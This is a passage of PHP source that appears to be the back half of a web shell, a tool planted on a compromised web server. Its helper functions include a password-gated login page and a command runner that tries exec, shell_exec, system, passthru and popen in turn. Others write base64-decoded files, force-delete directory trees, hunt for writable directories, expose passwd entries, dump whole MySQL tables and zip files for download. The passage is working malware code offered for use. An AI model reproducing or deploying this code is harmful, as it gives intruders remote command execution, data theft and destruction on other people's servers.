scookie($key, $value, $life = 0, $prefix = 1) {\r\r   global $admin, $timestamp, $_SERVER;\r\r  $key = ($prefix ? $admin['cookiepre'] : '').$key;\r\r     $life = $life ? $life : $admin['cookielife'];\r\r $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;\r\r    setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);\r\r}   \r\rfunction multi($num, $perpage, $curpage, $tablename) {\r\r      $multipage = '';\r\r      if($num > $perpage) {\r\r         $page = 10;\r\r           $offset = 5;\r\r          $pages = @ceil($num / $perpage);\r\r              if($page > $pages) {\r\r                  $from = 1;\r\r                    $to = $pages;\r\r         } else {\r\r                      $from = $curpage - $offset;\r\r                   $to = $curpage + $page - $offset - 1;\r\r                 if($from < 1) {\r\r                               $to = $curpage + 1 - $from;\r\r                           $from = 1;\r\r                            if(($to - $from) < $page && ($to - $from) < $pages) {\r\r                                 $to = $page;\r\r                          }\r\r                     } elseif($to > $pages) {\r\r                              $from = $curpage - $pages + $to;\r\r                              $to = $pages;\r\r                         if(($to - $from) < $page && ($to - $from) < $pages) {\r\r                                 $from = $pages - $page + 1;\r\r                           }\r\r                     }\r\r             }\r\r             $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');\r\r               for($i = $from; $i <= $to; $i++) {\r\r                    $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';\r\r             }\r\r             $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');\r\r              $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';\r\r        }\r\r     return $multipage;\r\r}\r\r// ????\r\rfunction loginpage() {\r\r?>\r\r    <style type="text/css">\r\r       input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}\r\r </style>\r\r      <form method="POST" action="">\r\r        <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">\r\r   <input type="hidden" name="doing" value="login">\r\r      <input type="submit" value="Login">\r\r   </form>\r\r<?php\r\r        exit;\r\r}//end loginpage()\r\r\r\rfunction execute($cfe) {\r\r $res = '';\r\r    if ($cfe) {\r\r           if(function_exists('exec')) {\r\r                 @exec($cfe,$res);\r\r                     $res = join("\n",$res);\r\r               } elseif(function_exists('shell_exec')) {\r\r                     $res = @shell_exec($cfe);\r\r             } elseif(function_exists('system')) {\r\r                 @ob_start();\r\r                  @system($cfe);\r\r                        $res = @ob_get_contents();\r\r                    @ob_end_clean();\r\r              } elseif(function_exists('passthru')) {\r\r                       @ob_start();\r\r                  @passthru($cfe);\r\r                      $res = @ob_get_contents();\r\r                    @ob_end_clean();\r\r              } elseif(@is_resource($f = @popen($cfe,"r"))) {\r\r                       $res = '';\r\r                    while(!@feof($f)) {\r\r                           $res .= @fread($f,1024); \r\r                     }\r\r                     @pclose($f);\r\r          }\r\r     }\r\r     return $res;\r\r}\r\rfunction which($pr) {\r\r        $path = execute("which $pr");\r\r return ($path ? $path : $pr); \r\r}\r\r\r\rfunction cf($fname,$text){\r\r       if($fp=@fopen($fname,'w')) {\r\r          @fputs($fp,@base64_decode($text));\r\r            @fclose($fp);\r\r }\r\r}\r\r\r\r// ??????\r\rfunction debuginfo() {\r\r     global $starttime;\r\r    $mtime = explode(' ', microtime());\r\r   $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);\r\r  echo 'Processed in '.$totaltime.' second(s)';\r\r}\r\r\r\r//?????\r\rfunction dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {\r\r if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {\r\r          p('<h2>Can not connect to MySQL server</h2>');\r\r                exit;\r\r }\r\r     if($link && $dbname) {\r\r                if (!@mysql_select_db($dbname, $link)) {\r\r                      p('<h2>Database selected has error</h2>');\r\r                    exit;\r\r         }\r\r     }\r\r     if($link && mysql_get_server_info() > '4.1') {\r\r                if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {\r\r                    q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);\r\r              }\r\r     }\r\r     return $link;\r\r}\r\r\r\r// ??????\r\rfunction s_array(&$array) {\r\r    if (is_array($array)) {\r\r               foreach ($array as $k => $v) {\r\r                        $array[$k] = s_array($v);\r\r             }\r\r     } else if (is_string($array)) {\r\r               $array = stripslashes($array);\r\r        }\r\r     return $array;\r\r}\r\r\r\r// ??HTML??\r\rfunction html_clean($content) {\r\r     $content = htmlspecialchars($content);\r\r        $content = str_replace("\n", "<br />", $content);\r\r     $content = str_replace("  ", "&nbsp;&nbsp;", $content);\r\r       $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);\r\r   return $content;\r\r}\r\r\r\r// ????\r\rfunction getChmod($filepath){\r\r return substr(base_convert(@fileperms($filepath),10,8),-4);\r\r}\r\r\r\rfunction getPerms($filepath) {\r\r      $mode = @fileperms($filepath);\r\r        if (($mode & 0xC000) === 0xC000) {$type = 's';}\r\r       elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}\r\r   elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}\r\r   elseif (($mode & 0x8000) === 0x8000) {$type = '-';} \r\r  elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}\r\r   elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}\r\r   elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}\r\r   else {$type = '?';}\r\r\r\r $owner['read'] = ($mode & 00400) ? 'r' : '-'; \r\r        $owner['write'] = ($mode & 00200) ? 'w' : '-'; \r\r       $owner['execute'] = ($mode & 00100) ? 'x' : '-'; \r\r     $group['read'] = ($mode & 00040) ? 'r' : '-'; \r\r        $group['write'] = ($mode & 00020) ? 'w' : '-'; \r\r       $group['execute'] = ($mode & 00010) ? 'x' : '-'; \r\r     $world['read'] = ($mode & 00004) ? 'r' : '-'; \r\r        $world['write'] = ($mode & 00002) ? 'w' : '-'; \r\r       $world['execute'] = ($mode & 00001) ? 'x' : '-'; \r\r\r\r   if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}\r\r       if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}\r\r       if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}\r\r \r\r    return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];\r\r}\r\r\r\rfunction getUser($filepath)      {\r\r     if (function_exists('posix_getpwuid')) {\r\r              $array = @posix_getpwuid(@fileowner($filepath));\r\r              if ($array && is_array($array)) {\r\r                     return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';\r\r            }\r\r     }\r\r     return '';\r\r}\r\r\r\r// ????\r\rfunction deltree($deldir) {\r\r $mydir=@dir($deldir);   \r\r      while($file=$mydir->read())     {               \r\r              if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { \r\r                   @chmod($deldir.'/'.$file,0777);\r\r                       deltree($deldir.'/'.$file); \r\r          }\r\r             if (is_file($deldir.'/'.$file)) {\r\r                     @chmod($deldir.'/'.$file,0777);\r\r                       @unlink($deldir.'/'.$file);\r\r           }\r\r     } \r\r    $mydir->close(); \r\r     @chmod($deldir,0777);\r\r return @rmdir($deldir) ? 1 : 0;\r\r}\r\r\r\r// ??????????\r\rfunction bg() {\r\r  global $bgc;\r\r  return ($bgc++%2==0) ? 'alt1' : 'alt2';\r\r}\r\r\r\r// ???????????\r\rfunction getPath($scriptpath, $nowpath) {\r\r       if ($nowpath == '.') {\r\r                $nowpath = $scriptpath;\r\r       }\r\r     $nowpath = str_replace('\\', '/', $nowpath);\r\r  $nowpath = str_replace('//', '/', $nowpath);\r\r  if (substr($nowpath, -1) != '/') {\r\r            $nowpath = $nowpath.'/';\r\r      }\r\r     return $nowpath;\r\r}\r\r\r\r// ???????????\r\rfunction getUpPath($nowpath) {\r\r $pathdb = explode('/', $nowpath);\r\r     $num = count($pathdb);\r\r        if ($num > 2) {\r\r               unset($pathdb[$num-1],$pathdb[$num-2]);\r\r       }\r\r     $uppath = implode('/', $pathdb).'/';\r\r  $uppath = str_replace('//', '/', $uppath);\r\r    return $uppath;\r\r}\r\r\r\r// ??PHP????\r\rfunction getcfg($varname) {\r\r       $result = get_cfg_var($varname);\r\r      if ($result == 0) {\r\r           return 'No';\r\r  } elseif ($result == 1) {\r\r             return 'Yes';\r\r } else {\r\r              return $result;\r\r       }\r\r}\r\r\r\r// ??????\r\rfunction getfun($funName) {\r\r        return (false !== function_exists($funName)) ? 'Yes' : 'No';\r\r}\r\r\r\rfunction GetList($dir){\r\r    global $dirdata,$j,$nowpath;\r\r  !$j && $j=1;\r\r  if ($dh = opendir($dir)) {\r\r            while ($file = readdir($dh)) {\r\r                        $f=str_replace('//','/',$dir.'/'.$file);\r\r                      if($file!='.' && $file!='..' && is_dir($f)){\r\r                          if (is_writable($f)) {\r\r                                        $dirdata[$j]['filename']=str_replace($nowpath,'',$f);\r\r                                 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));\r\r                                     $dirdata[$j]['dirchmod']=getChmod($f);\r\r                                        $dirdata[$j]['dirperm']=getPerms($f);\r\r                                 $dirdata[$j]['dirlink']=ue($dir);\r\r                                     $dirdata[$j]['server_link']=$f;\r\r                                       $dirdata[$j]['client_link']=ue($f);\r\r                                   $j++;\r\r                         }\r\r                             GetList($f);\r\r                  }\r\r             }\r\r             closedir($dh);\r\r                clearstatcache();\r\r             return $dirdata;\r\r      } else {\r\r              return array();\r\r       }\r\r}\r\r\r\rfunction qy($sql) { \r\r  //echo $sql.'<br>';\r\r   $res = $error = '';\r\r   if(!$res = @mysql_query($sql)) { \r\r             return 0;\r\r     } else if(is_resource($res)) {\r\r                return 1; \r\r    } else {\r\r              return 2;\r\r     }       \r\r      return 0;\r\r}\r\r\r\rfunction q($sql) { \r\r   return @mysql_query($sql);\r\r}\r\r\r\rfunction fr($qy){\r\r    mysql_free_result($qy);\r\r}\r\r\r\rfunction sizecount($size) {\r\r     if($size > 1073741824) {\r\r              $size = round($size / 1073741824 * 100) / 100 . ' G';\r\r } elseif($size > 1048576) {\r\r           $size = round($size / 1048576 * 100) / 100 . ' M';\r\r    } elseif($size > 1024) {\r\r              $size = round($size / 1024 * 100) / 100 . ' K';\r\r       } else {\r\r              $size = $size . ' B';\r\r }\r\r     return $size;\r\r}\r\r\r\r// ?????\r\rclass PHPZip{\r\r   var $out='';\r\r  function PHPZip($dir)   {\r\r             if (@function_exists('gzcompress'))     {\r\r                     $curdir = getcwd();\r\r                   if (is_array($dir)) $filelist = $dir;\r\r                 else{\r\r                         $filelist=$this -> GetFileList($dir);//????\r\r                           foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);\r\r                   }\r\r                     if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);\r\r                      else chdir($curdir);\r\r                  if (count($filelist)>0){\r\r                              foreach($filelist as $filename){\r\r                                      if (is_file($filename)){\r\r                                              $fd = fopen ($filename, 'r');\r\r                                         $content = @fread ($fd, filesize($filename));\r\r                                         fclose ($fd);\r\r                                         if (is_array($dir)) $filename = basename($filename);\r\r                                          $this -> addFile($content, $filename);\r\r                                        }\r\r                             }\r\r                             $this->out = $this -> file();\r\r                         chdir($curdir);\r\r                       }\r\r                     return 1;\r\r             }\r\r             else return 0;\r\r        }\r\r\r\r   // ??????????\r\r function GetFileList($dir){\r\r           static $a;\r\r            if (is_dir($dir)) {\r\r                   if ($dh = opendir($dir)) {\r\r                            while ($file = readdir($dh)) {\r\r                                        if($file!='.' && $file!='..'){\r\r                                                $f=$dir .'/'. $file;\r\r                                          if(is_dir($f)) $this->GetFileList($f);\r\r                                                $a[]=$f;\r\r                                      }\r\r                             }\r\r                             closedir($dh);\r\r                        }\r\r             }\r\r             return $a;\r\r    }\r\r\r\r   var $datasec      = array();\r\r  var $ctrl_dir     = array();\r\r  var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";\r\r       var $old_offset   = 0;\r\r\r\r      function unix2DosTime($unixtime = 0) {\r\r                $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);\r\r               if ($timearray['year'] < 1980) {\r\r                      $timearray['year']    = 1980;\r\r                 $timearray['mon']     = 1;\r\r                    $timearray['mday']    = 1;\r\r                    $timearray['hours']   = 0;\r\r                    $timearray['minutes'] = 0;\r\r                    $timearray['seconds'] = 0;\r\r            } // end if\r\r           return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |\r\r                         ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);\r\r    }\r\r\r\r   function addFile($data, $name, $time = 0) {\r\r           $name = str_replace('\\', '/', $name);\r\r\r\r              $dtime = dechex($this->unix2DosTime($time));\r\r          $hexdtime       = '\x' . $dtime[6] . $dtime[7]\r\r                                        . '\x' . $dtime[4] . $dtime[5]\r\r                                        . '\x' . $dtime[2] . $dtime[3]\r\r                                        . '\x' . $dtime[0] . $dtime[1];\r\r               eval('$hexdtime = "' . $hexdtime . '";');\r\r             $fr     = "\x50\x4b\x03\x04";\r\r         $fr     .= "\x14\x00";\r\r                $fr     .= "\x00\x00";\r\r                $fr     .= "\x08\x00";\r\r                $fr     .= $hexdtime;\r\r\r\r               $unc_len = strlen($data);\r\r             $crc = crc32($data);\r\r          $zdata = gzcompress($data);\r\r           $c_len = strlen($zdata);\r\r              $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);\r\r            $fr .= pack('V', $crc);\r\r               $fr .= pack('V', $c_len);\r\r             $fr .= pack('V', $unc_len);\r\r           $fr .= pack('v', strlen($name));\r\r              $fr .= pack('v', 0);\r\r          $fr .= $name;\r\r         $fr .= $zdata;\r\r                $fr .= pack('V', $crc);\r\r               $fr .= pack('V', $c_len);\r\r             $fr .= pack('V', $unc_len);\r\r\r\r         $this -> datasec[] = $fr;\r\r             $new_offset = strlen(implode('', $this->datasec));\r\r\r\r          $cdrec = "\x50\x4b\x01\x02";\r\r          $cdrec .= "\x00\x00";\r\r         $cdrec .= "\x14\x00";\r\r         $cdrec .= "\x00\x00";\r\r         $cdrec .= "\x08\x00";\r\r         $cdrec .= $hexdtime;\r\r          $cdrec .= pack('V', $crc);\r\r            $cdrec .= pack('V', $c_len);\r\r          $cdrec .= pack('V', $unc_len);\r\r                $cdrec .= pack('v', strlen($name) );\r\r          $cdrec .= pack('v', 0 );\r\r              $cdrec .= pack('v', 0 );\r\r              $cdrec .= pack('v', 0 );\r\r              $cdrec .= pack('v', 0 );\r\r              $cdrec .= pack('V', 32 );\r\r             $cdrec .= pack('V', $this -> old_offset );\r\r            $this -> old_offset = $new_offset;\r\r            $cdrec .= $name;\r\r\r\r            $this -> ctrl_dir[] = $cdrec;\r\r }\r\r\r\r   function file() {\r\r             $data    = implode('', $this -> datasec);\r\r             $ctrldir = implode('', $this -> ctrl_dir);\r\r            return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";\r\r  }\r\r}\r\r\r\r// ?????\r\rfunction sqldumptable($table, $fp=0) {\r\r      $tabledump = "DROP TABLE IF EXISTS $table;\n";\r\r        $tabledump .= "CREATE TABLE $table (\n";\r\r\r\r    $firstfield=1;\r\r\r\r      $fields = q("SHOW FIELDS FROM $table");\r\r       while ($field = mysql_fetch_array($fields)) {\r\r         if (!$firstfield) {\r\r                   $tabledump .= ",\n";\r\r          } else {\r\r                      $firstfield=0;\r\r                }\r\r             $tabledump .= "   $field[Field] $field[Type]";\r\r                if (!empty($field["Default"])) {\r\r                      $tabledump .= " DEFAULT '$field[Default]'";\r\r           }\r\r             if ($field['Null'] != "YES") {\r\r                        $tabledump .= " NOT NULL";\r\r            }\r\r             if ($field['Extra'] != "") {\r\r                  $tabledump .= " $field[Extra]";\r\r               }\r\r     }\r\r     fr($fields);\r\r\r\r        $keys = q("SHOW KEYS FROM $table");\r\r   while ($key = mysql_fetch_array($keys)) {\r\r             $kname=$key['Key_name'];\r\r              if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {\r\r                 $kname="UNIQUE|$kname";\r\r               }\r\r             if(!is_array($index[$kname])) {\r\r                       $index[$kname] = array();\r\r             }\r\r             $index[$kname][] = $key['Column_name'];\r\r       }\r\r     fr($keys);\r\r\r\r  while(list($kname, $columns) = @each($index)) {\r\r               $tabledump .= ",\n";\r\r          $colnames=implode($columns,",");\r\r\r\r            if ($kname == "PRIMARY") {\r\r                    $tabledump .= "   PRIMARY KEY ($colnames)";\r\r           } else {\r\r                      if (substr($kname,0,6) == "UNIQUE") {\r\r                         $kname=substr($kname,7);\r\r                      }\r\r                     $tabledump .= "   KEY $kname ($colnames)";\r\r            }\r\r     }\r\r\r\r   $tabledump .= "\n);\n\n";\r\r     if ($fp) {\r\r            fwrite($fp,$tabledump);\r\r       } else {\r\r              echo $tabledump;\r\r      }\r\r\r\r   $rows = q("SELECT * FROM $table");\r\r    $numfields = mysql_num_fields($rows);\r\r while ($row = mysql_fetch_array($rows)) {\r\r             $tabledump = "INSERT INTO $table VALUES(";\r\r\r\r          $fieldcounter=-1;\r\r             $firstfield=1;\r\r                while (++$fieldcounter<$numfields) {\r\r                  if (!$firstfield) {\r\r                           $tabledump.=", ";\r\r                     } else {\r\r                              $firstfield=0;\r\r                        }\r\r\r\r                   if (!isset($row[$fieldcounter])) {\r\r                            $tabledump .= "NULL";\r\r                 } else {\r\r                              $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";\r\r                       }\r\r             }\r\r\r\r           $tabledump .= ");\n";\r\r\r\r               if ($fp) {\r\r                    fwrite($fp,$tabledump);\r\r               } else {\r\r                      echo $tabledump;\r\r              }\r\r     }\r\r     fr($rows);\r\r    if ($fp) {\r\r            fwrite($fp,"\n");\r\r     } else {\r\r              echo "\n";\r\r    }\r\r}\r\r\r\rfunction ue($str){\r\r    return urlencode($str);\r\r}\r\r\r\rfunction p($str){\r\r       echo $str."\n";\r\r}\r\r\r\rfunction tbhead() {\r\r     p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');\r\r}\r\rfunction tbfoot(){\r\r  p('</table>');\r\r}\r\r\r\rfunction makehide($name,$value=''){\r\r      p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");\r\r}\r\r\r\rfunction makeinput($arg = array()){\r\r        $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";\r\r     $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';\r\r   !$arg['type'] && $arg['type'] = 'text';\r\r       $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';\r\r  $arg['class'] = $arg['class'] ? $arg['class'] : 'input';\r\r      if ($arg['newline']) {\r\r                p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");\r\r        } else {\r\r              p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");\r\r       }\r\r}\r\r\r\rfunction makeselect($arg = array()){\r\r  if ($arg['onchange']) {\r\r               $onchange = 'onchange="'.$arg['onchange'].'"';\r\r        }\r\r     $arg['title'] = $arg['title'] ? $arg['title'] : '';\r\r   if ($arg['newline']) p('<p>');\r\r        p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");\r\r            if (is_array($arg['option'])) {\r\r                       foreach ($arg['option'] as $key=>$value) {\r\r                            if ($arg['selected']==$key) {\r\r                                 p("<option value=\"$key\" selected>$value</option>");\r\r                         } else {\r\r                                      p("<option value=\"$key\">$value</option>");\r\r                          }\r\r                     }\r\r             }\r\r     p("</select>");\r\r       if ($arg['newline']) p('</p>');\r\r}\r\rfunction formhead($arg = array()) {\r\r       !$arg['method'] && $arg['method'] = 'post';\r\r   !$arg['action'] && $arg['action'] = $self;\r\r    $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';\r\r     !$arg['name'] && $arg['name'] = 'form1';\r\r      p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");\r\r       if ($arg['title']) {\r\r          p('<h2>'.$arg['title'].' &raquo;</h2>');\r\r      }\r\r}\r\r  \r\rfunction maketext($arg = array()){\r\r  !$arg['cols'] && $arg['cols'] = 100;\r\r  !$arg['rows'] && $arg['rows'] = 25;\r\r   $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';\r\r  p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");\r\r}\r\r\r\rfunction formfooter($name = ''){\r\r      !$name && $name = 'submit';\r\r   p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');\r\r        p('</form>');\r\r}\r\r\r\rfunction formfoot(){\r\r      p('</form>');\r\r}\r\r\r\r// ????\r\rfunction pr($a) {\r\r        echo '<pre>';\r\r print_r($a);\r\r  echo '</pre>';\r\r}\r\r\r\r?>\r\r</td></tr></table>\r\r\r\r\r\r</td></tr>\r\r</tr>\r\r</table>